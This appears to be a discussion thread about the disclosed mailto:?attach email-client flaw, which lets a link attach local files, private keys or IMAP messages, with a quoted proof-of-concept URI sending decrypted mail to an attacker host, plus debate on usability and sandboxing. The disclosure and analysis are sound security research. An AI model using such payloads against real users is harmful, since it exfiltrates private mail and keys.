Full Twitter thread text by @jensvoid here, since the thread appears to be broken for some people:
Have you ever heard of the mailto:?attach=~/… parameter? It allows to include arbitrary files on disk. So, why break PGP if you can politely ask the victim's mail client to include the private key? (1/4)
You can even leak complete directories in some mail clients. Interestingly, Evolution shows a warning if you want to include a single file, but the full home directory is fine. (2/4)
Such simple stupid mailto:?attach tricks worked in Thunderbird for Debian, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089), and Pegasus Mail. (3/4)
This flaw, among others, is described in our IEEE CNS paper "Mailto: Me Your Secrets. On Bugs and Features in Email End-to-End Encryption" with
@lambdafu , @dues__ , @seecurity , and
@joergschwenk : https:// nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf (4/4)
Thunderbird uses an adapted
version of the imap:// URI scheme to internally address
emails stored on IMAP folders. This allows an attacker to
include messages on the victim’s IMAP server (specified by
their UID) using an attach parameter, as shown in Listing 6.
mailto:sid@evil.com?attach=imap:///fetch>UID>/INBOX>1
Listing 6. Mailto URI to attach the first email from the victim’s IMAP server.
Multiple emails can be attached by using multiple attach
parameters with different UIDs. By setting the UID from one
to the maximum number of stored messages, and including
all UIDs as attach parameters the whole mailbox of the
victim can be exfiltrated at once.
Even worse, all OpenPGP
and S/MIME encrypted emails in the attached email are
automatically decrypted by Thunderbird before sending them
back to the attacker.
Decrypted messages should never be stored on the IMAP server. That is pretty much the whole thing here. It overtly defeats the PGP encrypt once scheme.
In the same way, a user intending to send an encrypted email should be able to be confident that the email client will not automatically save an unencrypted message to some sort of Drafts folder on the IMAP server.
I found a discussion from March 2009 which suggests this issue was known back then [1]. Maybe the same feature was re-introduced later in some other part of the code? The link to source repo in the post is dead, but the file it references (nsSmtpUrl.cpp) still contains this comment on line 88 in current version:
/* DO NOT support attachment= in mailto urls. This poses a security fire hole!!!
That's why I use web-based email (FastMail and Proton Mail personally) because I want email software to exist in the same sandbox as all websites I visit on the web.
I browse the web on QubesOS in a disposable VM. There's no user data in the disposable VM, and all the data is cleared when the browser is turned off. Also, QubesOS allows me to run my GnuPG daemon in a separate domain completely isolated from all other applications. This is the ultimate defense against arbitrary code execution in a buggy web browser. To take over the computer, the attacker must exploit the Xen hypervisor or a CPU side-channel, not just a 0day in Firefox or a PDF reader. Yes, QubesOS's approach is not pretty, it's a hack and resource-heavy. But this hack allowed us to continue using an existing insecure desktop system, device drivers and applications, without reinventing the OS and the desktop with its set-back of non-existent support. At least it's a very practical stop-gap measure before someone reinvents OS security.
A lightweight solution I used previously was running the browser in a separate Unix user with firejail's sandbox. If it's not running a separate X server, the attacker is free to take over the X server and inject keyboard and mouse inputs, but at least the files in the primary /home directory is inaccessible. I did this a few years ago after the disclosure of a file-leaking vulnerability in Firefox, because I assumed similar exploits may be discovered in the future, apparently I'm not wrong.
Most of the programs I use don't need sandboxing, so I don't need this. The programs that process arbitrary data people send me definitely need sandboxing, but luckily all of those are in the form of web apps such as webmail clients.
>So, why break PGP if you can politely ask the victim's mail client to include the private key?
If your PGP private key has a good passphrase then you are still OK. This attack suggests that there is some value in how most PGP implementations attempt to protect the private key locally.
As a counter example, Signal Messenger does not even try to protect the private key or saved messages except with a short pin (and that is a new feature). That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption. Then you can sniff any passphrase without any extra trouble.
In the end, message security is endpoint security.
This attack is entirely generic. It seems odd that the authors only mention the possibility of a PGP compromise and ignore all the other messengers out there that could be also compromised by arbitrary remote file access. It would of made things more compelling.
> That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption.
It's absolutely unreasonable.
If my endpoint is compromised, should I assume my key is potentially violated, and so change it? Yes
But should I assume that everything in my life is tainted and therefore pre-emptively expose all my secrets to attackers immediately? Of course not.
The original poster refers to sending your SSH private key, not RSA. Your SSH private key can be used for very malicious purposes. For example, if you use Git over SSH to upload code to your remote Git repositories, someone malicious can take your SSH private key, and hijack your Git repositories.
While it would definitely be better if this displayed a warning when opening the link, it still requires the victim to willingly send the email. Before doing that they see the list of attachments they are including, so this is a very visible attack.
> Before doing that they see the list of attachments they are including, so this is a very visible attack.
Depends on the client. I use claws-mail and I can't replicate this (not sure if maybe I'm doing it wrong), but I did note that if there were attachments, I wouldn't see them by default without clicking the attachments tab in the compose window.
People have processes that put files in standard places and require users to email them the files. Yes, the average HN reader could automate away any need for the average process, but it exists and can't be changed. Email client developers go ahead and implement niceties without considering the risk.
I think the intent was probably for the parameter to be used by desktop applications so that they could generate or find a file and then open an email with the file already attached.
I wonder if anyone has tried to do something like this for meeting invite responses, which are sent at least in Evolution without any user intervention. Could you craft a meeting invite URL or mail such that the response would include a file or email?
I guess someone thought it was a useful addition (e.g. since on smartphones nowadays communication between apps is through launching of URLs, e.g. loading the URL "https://maps.google.com/...." would open up the Google Maps app), but they didn't consider this exploit.
The feature is useful for desktop applications that want to help the user compose a mail to the customer service, including some report logs as attachment.
Notice that the user is still required to actually press Send in front of their default mail client with an open window showing the full email and attachments.
I can't imagine any scenario of a widely used email app opening a hyperlink that automatically composes and attaches local files being acceptable, even if they have to click send.
Our program has documents attached to declarations. These typically come from some integration and is saved on a server/shared drive, in some arbitrary sub-directory to avoid too many files in one directory, and typically with some non-intuitive filename for good measure.
Our users want to be able to be able to open a declaration and email the documents, either internally or to their customers, along with some message.
We don't really want to implement a full email client in our program nor having to deal with their SMTP server setup, including proxies, firewall and so on. So we basically do exactly this, open a new mail in their client with some template text and with one or more attachments.
We use MAPI though and not "mailto:", but use-case is there.
Our program doesn't prompt the user for permission explicitly, but then the user has to initiate this process by clicking the "email documents" button so...
What about sending crash reports or log files? Or some kind of internal workflow where you need to send something from one PC to another and this is the most convenient solution? (I could imagine some kind of tool that semi-automatically sends email but you don't wanna give it your SMTP credentials so it has to work with your MUA. Sounds weird but these kinds of awful problems with awful solutions exist probably en masse.)
How can someone press the "Send" button on a email without checking Subject:, TO:, CC:, and attachment list for plausibility?
(A mail-client could contain basic "warn"-lists of credential-holding places, containing a few dozen file names covering 99% of current platforms/programs)
And some "advanced" config options to also configure allowed URI schemes.
I think we've kind of established that, especially when it comes to security, that the onus is on the software to set secure and sensible defaults. I do not think an email client accepting untrusted input to automatically attaching any arbitrary file to the email is sensible or secure.
This feature is probably from a more innocent time. Back then, things like automatically executing a macro with unrestricted filesystem access when opening a text document were treated as useful features.
I think the same reason that SQL Injection is still so common despite frameworks / orms protecting so hard and even the most broken english youtube tutorial mentioning that security issue
maybe devs just dont care?
maybe they tend to believe
"who would inspect our page and try to manipulate form?? no one"?
Combination of not caring and little to no ramifications if there is a major breach. Heck, sometimes they may be intentional but it is easy to play dumb if you get caught.
Honestly the devs probably didn't consider the worst case scenario. They probably thought "the users will be able to preview the e-mail and notice that s/he will send the attached files when s/he hits send" and that that's secure enough.
Sadly we have the year 2020 and as Rick Cook said: “Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.”.
If the email program would pop up a warning that says "The following files have been automatically attached: [List of files]", would that meet the security concerns?
While there are times where that quote applies, in the vast majority of cases, that's the programmer's cop-out upon discovering that the feature they thought was done is in fact broken and obtuse, and they don't care to take the time to understand their customer.
I don't want my email client automatically attaching files from my computer, period. I don't care how well or poorly it displays that fact. There's no use case important enough to warrant that kind of intrusion.
Yes, of course you should be able to do that using an internal API. Maybe even an internal mailto: link, in the interest of interoperability. But no mail client should ever respect attachments requested by a mailto: link followed by a browser.
A moment's thought should illustrate that "pop up a dialog box to ask permission" isn't really a fix for a hole like this. It has conspicuously failed in the past.
I think your quote, which has the benefit of being funny, does miss one key thing, and it's that the number of users and our interactions with our systems keep growing.
Prob(user error) might well be increasing a bit, but N * Prob(user error) is definitely increasing.
Sigh This works on latest Evolution on Debian, I just tested. I can see how somebody might miss that there is an attachment, especially on a large screen like mine (40 inches). I've just repointed the system default mail client at Mutt (which is not configured), so I have to copy mail links from now on to get them into Evolution.
Much as this is bad, I will address the "GPG secret key" angle: if (like me) you only store your secret keys on a physical device, as described for example here: https://github.com/drduh/YubiKey-Guide, then you have nothing to worry about, because your secret key does not reside anywhere where it's accessible.
Imagine you're providing a desktop shell. You want to support a right-click "Send this file via email" option. This also happens for things like document editing where you want to send the current document as an email attachment.
Now imagine you've decided the only portable way to marshal the information of what to send is to use an extension to the URI for mailto. This means you can no longer reliably figure out if the URI is "safe" (being generated by a program that wants to effect a "send this document") or "unsafe" (I clicked a link in my web browser).
XDG chose to go down the stupid path. Windows opted to use MAPI, so MAPISendMail lets you attach files for the shell extensions.
I'm not convinced this is as big an issue as has been made out here.
Why would you click a link and then voluntarily send an email with a file called "passwd" or "secring.gpg" in the attachments list?!
Perhaps you could show a scarier warning or something, rather than just declaring the functionality unacceptably dangerous and removing it. There are genuine use-cases discussed in this thread. At the end of the day, the user needs to accept responsibility for things they voluntarily do on their machine.
Generally though, I'm not sure this functionality makes much sense if it's initiated from a web-page. If you had another app on your machine though, that already had disk access, it might make sense to be able to launch the email client with something pre-attached.
It is a big issue, and it's not surprising some hackers wouldn't understand how big.
A lot of people, most even, have no idea what is happening on about 90% of their screen, about 90% of the time. And they're used to being forever in the dark about what their machine is doing and why. They expect it.
They know they're writing an email and they can see the box they're typing into, but other components, like the status bar, title bar, and attachments field, are outside their sphere of perception. At least or especially when they're not actively thinking about attaching a file intentionally, say.
It's like a serious chess player, who sees the whole board and thinks multiple moves ahead, compared to a novice who learnt the rules yesterday and can only see the horsey piece and the pieces immediately surrounding the horsey piece.
These users have a checklist approach to using their computer:
Step 1: click this
Step 2: that happens
Step 3: Did what I wanted to happen, happen?
Step 4: there is no step 4
The professor who didn't realize there's a "fullscreen" button when showing videos to the class is the same one who can't perceive the attachments field and will send a file called 'passwd'. And if the mail client puts up an alert that says, "Are you sure you want to attach and send a file called passwd to p0wn.me@gmail.com?", they'll click 'Yes' and get on with their day.
It's extreme dangerous to assume that "hackers" are perfect robots who have no need for good UI/UX. If that was ever true, it became false as computer systems got 10000000x more complicated over the decades.
I think you are correct with your assessment of how most people use computers.
But I don't agree with your conclusion that they need to be protected. If I want to hammer in a nail and accidentally hit my finger that's not the hammer-manufacturer's fault or responsibility. So why should it be the email-client's fault/responsibility to make sure I don't send my private keys?
If people refuse to learn how to use a hammer they will keep hitting their fingers, if people are refuse to learn how to use their email-client they will keep sending their private keys to bad actors.
I didn't conclude that the email client needs to warn users about dangerous attachments- I mentioned that even if it did, users would ignore it.
But I do believe that UX needs to be designed according to the principle of least surprise, and those in the know (i.e. we/us), need to put in guardrails to keep people safe as they get on with their day.
If your hammer has 4,500 different everyday functions, 4,400 of them posing a danger to your fingers & bank account, but hammering nails is necessary for your job, for your kids' school stuff, and to interact with your government, then that's a closer analogy.
But your hammer can't be manipulated by a random person anywhere in the world.
Software, especially an email client, is significantly more complex. Many people don't have the time, desire, nor ability, to learn how to use it safely - and the usage of it is generally forced upon them.
Do you put poison-tipped needles on the handle of your hammer, because you might want them, and it's possible to avoid them when you don't want to touch them?
Take a computer-nonliterate but otherwise functionally competent adult with very limited vision (macular degeneration, glaucoma, etc.), onset of cognitive disorders (Alzheimer's, Parkinson's, TIAs, ...) but compelled to use computers for some functions (utility payments, banking, government services, remote comms, socialisation, hobbies & interests).
The world contains numerous people who are not tech-savvy, capable, digital natives. And even a large fraction of that population would fall prey to attacks of this nature.
Please show more awareness and compassion. Perhaps beginning with your handle.
> Take a computer-nonliterate but otherwise functionally competent adult with very limited vision (macular degeneration, glaucoma, etc.), onset of cognitive disorders (Alzheimer's, Parkinson's, TIAs, ...) but compelled to use computers for some functions (utility payments, banking, government services, remote comms, socialisation, hobbies & interests).
How far do you want to take this? At the end of the day you need to understand what's going on - otherwise you're going to visit a site presenting a self-signed cert and just click the "let me bypass this warning" button before handing over your creds.
It's no different to being phoned up by a scammer and being asked to transfer money for a "tax refund". What can we do about that technically? We try. We add warnings when customers initiate a bank transfer but at the end of the day it's their money and they must be free to send it where they please. So there has to be a focus on education, _as well as_ technological methods to try and protect the user.
> The world contains numerous people who are not tech-savvy, capable, digital natives. And even a large fraction of that population would fall prey to attacks of this nature.
There's a difference between being "tech-savvy, digital natives" and understanding the basics of how things like your email client work - and what it displays when it's going to send attachments.
I'm tired of this attitude that people are helpless and that understanding some basic aspects of the technology they use on a daily basis is completely forever out of their reach. It's patronising, and it leads to us "dumbing down" software (see Chrome and the address bar).
> Please show more awareness and compassion.
I've acknowledged that a warning may go some ways to improving this situation, but I absolutely stand by:
- The functionality had some genuine usage in the form of desktop software that opened up the mail client with e.g. crash logs attached.
- Removing the functionality entirely rather than exploring how to do it in a safer (read: not safe) way was an over-reaction and we've lost something potentially useful as a result.
> Perhaps beginning with your handle.
Perhaps you could focus on the points being made _in the body of_ the next comment you reply to?
The example given is drawn from immediate experience and illustrates my own slow-dawning awareness of the gulf and its implications from my heady days as a 1990s Linux & free software advocate. I still think they're great tools. I no longer think most people, certainly not most present adults, will profitably use them.
Most people do not have a functional model of how things work, they have a process model, possibly more accurately a ritualistic model, of action and effect. "I do A and B happens." There is no "because C" causal explanation, or any such notions are hopelessly inaccurate, often mythical or animistic.
Population-level computer literacy has been studied, and the results are frankly gutstopping. Usability expert Jacob Nielsen wrote on this in 2016:
Across 33 rich countries, only 5% of the population has high computer-related abilities, and only a third of people can complete medium-complexity tasks.
"Below level one" describes 14% of the adult population, for which typical skills are "Delete this email message". "Level one" (29% of the population) can assign categories or use search features, say, in email. "Level 2" (26%) could accomplish a task such as "You want to find a sustainability-related document that was sent to you by John Smith in October last year". Level 3 is the highest skill level, representing 5% of the population.
If you've been noting totals you might have twigged that we're only to 74% of the population. That is because fully 26% of adults have no effective computer literacy.
And 69% of the population in total (none, <1, 1) have at best extraordinarily limited skills and understanding. Whilst there's some variance among OECD populations (Finland does better, Turkey poorly), the shifts aren't that great. Human cognitive distribution is something we have to live with: all the children are not above average.
You may be tired of this fact but it remains the best interpretation of the evidence.
I'm certainly frustrated by this, on multiple grounds. It means that general-population digital tools must be targeted to the minimum viable user. It means that the advanced-user community is a very minor market segment, at least by units. It means that consequences of poor technical literacy are born by all of us. That's wrapped up in an essay "The Tyranny of the Minimum Viable User":
Have you ever heard of the mailto:?attach=~/… parameter? It allows to include arbitrary files on disk. So, why break PGP if you can politely ask the victim's mail client to include the private key? (1/4)
You can even leak complete directories in some mail clients. Interestingly, Evolution shows a warning if you want to include a single file, but the full home directory is fine. (2/4)
Such simple stupid mailto:?attach tricks worked in Thunderbird for Debian, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089), and Pegasus Mail. (3/4)
This flaw, among others, is described in our IEEE CNS paper "Mailto: Me Your Secrets. On Bugs and Features in Email End-to-End Encryption" with @lambdafu , @dues__ , @seecurity , and @joergschwenk : https:// nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf (4/4)